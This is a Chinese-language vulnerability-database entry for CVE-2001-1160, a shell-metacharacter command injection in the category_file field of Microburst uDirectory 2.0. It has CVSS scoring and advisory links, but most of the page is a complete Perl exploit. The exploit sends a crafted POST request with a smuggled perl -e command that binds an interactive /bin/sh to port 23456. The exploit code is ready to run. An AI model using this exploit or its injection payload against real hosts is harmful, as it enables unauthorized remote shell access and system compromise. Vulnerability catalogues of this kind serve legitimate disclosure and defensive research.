CVE-2001-1160
CVSS7.5
发布时间 :2001-06-18 00:00:00
修订时间 :2008-09-05 16:25:50
NMCOE    

[原文]udirectory.pl in Microburst Technologies uDirectory 2.0 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the category_file field.


[CNNVD]Microburst Technologies uDirectory任意命令执行漏洞(CNNVD-200106-088)

        Microburst Technologies uDirectory 2.0版本及之前版本的udirectory.pl存在漏洞。远程攻击者可以借助category_file字段中的shell元字符执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1160
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1160
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-088
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/archive/1/191829
(VENDOR_ADVISORY)  BUGTRAQ  20010618 udirectory from Microburst Technologies remote command execution
http://xforce.iss.net/static/6706.php
(VENDOR_ADVISORY)  XF  udirectory-remote-command-execution(6706)
http://www.securityfocus.com/bid/2884
(VENDOR_ADVISORY)  BID  2884

- 漏洞信息

Microburst Technologies uDirectory任意命令执行漏洞
高危 未知
2001-06-18 00:00:00 2005-05-02 00:00:00
远程  
        Microburst Technologies uDirectory 2.0版本及之前版本的udirectory.pl存在漏洞。远程攻击者可以借助category_file字段中的shell元字符执行任意命令。

- 公告与补丁

        

- 漏洞信息 (20935)

Microburst uDirectory 2.0 Remote Command Execution Vulnerability (EDBID:20935)
cgi remote
2001-06-18 Verified
0 Igor Dobrovitski
N/A [点击下载]
source: http://www.securityfocus.com/bid/2884/info

uDirectory is an online directory and listing management system.

An input validation error exists in uDirectory that may allow remote users to execute arbitrary commands on a host running the software. 

#!/usr/bin/perl -w
# management, e-commerce ... blah...
# exploit by Igor Dobrovitski noident@my-deja.com
# This program will spawn /bin/sh on server's port 23456 and tell you if it thinks it succeded
# Enjoy
use Socket;
$| = 1;
####################################################################################################
$exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol);setsockopt(SOCK,
SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));listen(SOCK, 1);accept (NEW,
SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR, ">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}';
####################################################################################################
unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ustore.pl\n"}
($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
print "Engaging the enemy. Please stand by...\n";
foreach my $perl_path ('/usr/bin/perl', '/usr/local/bin/perl')
{
    print "Trying $perl_path\n\n";
    my $cmd = $perl_path . ' -e \'' . $exec_code . '\'|';
    for(my $i=1;$i<=10;$i++)
    {
     print "try $i\n";
     $cmd = '/..' . $cmd;
     $form = makeform({'category_file' => $cmd, 'MAIN_FIELD' => 'blah',
       'command' => 'add_new_listing' });
     my @reply = &send($form);
    }
}
&oops_the_sploit_did_not_work();

sub makeform
{
    my $string;
    my @blah;
    my $line  = '';
    my $here;
    my %data = %{$_[0]};
    foreach my $key (keys %data)
    {
        $line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
    }
    $line =~ s|^(.*)BBBB$|$1|;
    $line =~ s/\\n/\n/g;
    $line =~ s/\\t/\t/g;
    $line =~ s/\\e/\e/g;
    $line =~ s/\\f/\f/g;
    $line =~ s/\\r/\r/g;
    $line =~ s/\\0/\0/g;
    foreach my $char (split //, $line)
    {
        if($char !~ m/[A-Za-z0-9._ ]/)
        {
            $char = unpack "H2", $char;
            $char = '%' . "$char";
        }
        push @blah, $char;
    }
    $string = join "",@blah;
    $string =~ s/AAAA/=/g;
    $string =~ s/BBBB/&/g;
    $string =~ s/ /+/g;
    my $cont_len = length($string);
$here = <<EOF;
POST $scriptpath HTTP/1.0
User-Agent: Mozilla (Windows 98)
Host: $host
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-type: application/x-www-form-urlencoded
Content-length: $cont_len

$string
EOF
    return $here;
}

sub send
{
    my $form_to_send = shift;
    my $h = inet_aton($host) or die "Forward lookup for $host failed\n";
    socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";
    unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"; close(S); exit 1 }
    select(S);
    $|=1;
    print "$form_to_send";
    local $SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nBe good and hack
wisely.\n"; exit };
    alarm(20);
    my @reply=<S>;
    select(STDOUT);
    close(S);
    return @reply;
}

sub oops_the_sploit_did_not_work
{
    print STDERR "The exploit didn't work on this host\nSorry...\n";
    exit;
}
		

- 漏洞信息

1869
Microburst uDirectory category_file Parameter Shell Metacharacter Remote Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public

- 漏洞描述

- 时间线

2001-06-18 Unknow
2001-06-18 Unknow

- 解决方案

OSVDB is not aware of a solution for this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站